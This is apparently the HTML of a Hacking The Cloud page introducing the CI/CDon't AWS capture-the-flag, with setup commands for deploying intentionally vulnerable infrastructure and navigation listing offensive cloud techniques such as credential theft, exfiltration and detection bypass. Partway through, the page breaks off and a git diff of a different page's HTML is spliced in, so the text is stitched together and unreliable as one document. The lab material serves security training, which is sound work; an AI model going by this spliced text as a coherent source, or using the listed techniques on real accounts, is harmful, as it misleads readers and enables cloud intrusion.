type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7 checked> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=true> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> CI/CDon't </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> CI/CDon't </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#background class=md-nav__link> <span class=md-ellipsis> Background </span> </a> </li> <li class=md-nav__item> <a href=#how-to-play class=md-nav__link> <span class=md-ellipsis> How to Play </span> </a> </li> <li class=md-nav__item> <a href=#the-important-bits class=md-nav__link> <span class=md-ellipsis> The Important Bits </span> </a> </li> <li class=md-nav__item> <a href=#the-story class=md-nav__link> <span class=md-ellipsis> The Story </span> </a> </li> <li class=md-nav__item> <a href=#the-objective class=md-nav__link> <span class=md-ellipsis> The Objective </span> </a> </li> <li class=md-nav__item> <a href=#feedback class=md-nav__link> <span class=md-ellipsis> Feedback </span> </a> </li> <li class=md-nav__item> <a href=#walkthrough class=md-nav__link> <span class=md-ellipsis> Walkthrough </span> </a> </li> <li class=md-nav__item> <a href=#acknowledgements class=md-nav__link> <span class=md-ellipsis> Acknowledgements </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#background class=md-nav__link> <span class=md-ellipsis> Background </span> </a> </li> <li class=md-nav__item> <a href=#how-to-play class=md-nav__link> <span class=md-ellipsis> How to Play </span> </a> </li> <li class=md-nav__item> <a href=#the-important-bits class=md-nav__link> <span class=md-ellipsis> The Important Bits </span> </a> </li> <li class=md-nav__item> <a href=#the-story class=md-nav__link> <span class=md-ellipsis> The Story </span> </a> </li> <li class=md-nav__item> <a href=#the-objective class=md-nav__link> <span class=md-ellipsis> The Objective </span> </a> </li> <li class=md-nav__item> <a href=#feedback class=md-nav__link> <span class=md-ellipsis> Feedback </span> </a> </li> <li class=md-nav__item> <a href=#walkthrough class=md-nav__link> <span class=md-ellipsis> Walkthrough </span> </a> </li> <li class=md-nav__item> <a href=#acknowledgements class=md-nav__link> <span class=md-ellipsis> Acknowledgements </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/capture_the_flag/cicdont.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>CI/CDon't</h1> <p>Link to Project: <a href=https://github.com/Hacking-the-Cloud/htc-ctfs/tree/main/aws/cicdont>CI/CDon't</a></p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>This project will deploy intentionally vulnerable software/infrastructure to your AWS account. Please ensure there is no sensitive or irrecoverable data in the account. Attempts have been made to mitigate this however they may not be fullproof; Security Group rules only allow access to the vulnerable EC2 instance from your public IP address, and a randomly generated password is required to access it.</p> </div> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>If you intend to play the CTF it is a good idea to read through this page carefully to ensure you have all the details (minus the walkthrough). This page will familiarize the player with how the CTF works, what the objective is, and what the storyline is.</p> </div> <h2 id=background>Background<a class=headerlink href=#background title="Permanent link">&para;</a></h2> <p>This is an AWS/GitLab CI/CD themed CTF that you can run in your own AWS account. All that is required is an AWS account and Terraform <a href=https://learn.hashicorp.com/tutorials/terraform/install-cli>installed</a> locally on your machine.</p> <p>Costs should be minimal; running this infrastructure in my own account for three hours didn't accrue a cent in the Billing Dashboard, however extended time frames may cause costs to add up.</p> <p>In terms of difficulty, it would be rated low. The goal is more about having fun and working through some simple CI/CD/AWS challenges that even non-security folks would enjoy.</p> <h2 id=how-to-play>How to Play<a class=headerlink href=#how-to-play title="Permanent link">&para;</a></h2> <p>Clone this repository and navigate to the cicdont directory.</p> <div class=highlight><pre><span></span><code>git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git
 cd htc-ctfs/aws/cicdont
 </code></pre></div> <p>To deploy the CTF environment run the Terraform init/apply command.</p> <div class=highlight><pre><span></span><code>terraform init
 terraform apply
diff --git a/aws/deprecated/stealth_perm_enum/index.html b/aws/deprecated/stealth_perm_enum/index.html
index d2cc06deb..b52d5c439 100644
--- a/aws/deprecated/stealth_perm_enum/index.html
+++ b/aws/deprecated/stealth_perm_enum/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team."><link href=https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ rel=canonical><link href=../../post_exploitation/user_data_script_persistence/ rel=prev><link href=../whoami/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>[Deprecated] Enumerate Permissions without Logging to CloudTrail - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="[Deprecated] Enumerate Permissions without Logging to CloudTrail - Hacking The Cloud"><meta property=og:description content="Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="[Deprecated] Enumerate Permissions without Logging to CloudTrail - Hacking The Cloud"><meta property=twitter:description content="Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team."><link href=https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ rel=canonical><link href=../../post_exploitation/user_data_script_persistence/ rel=prev><link href=../whoami/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>[Deprecated] Enumerate Permissions without Logging to CloudTrail - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link 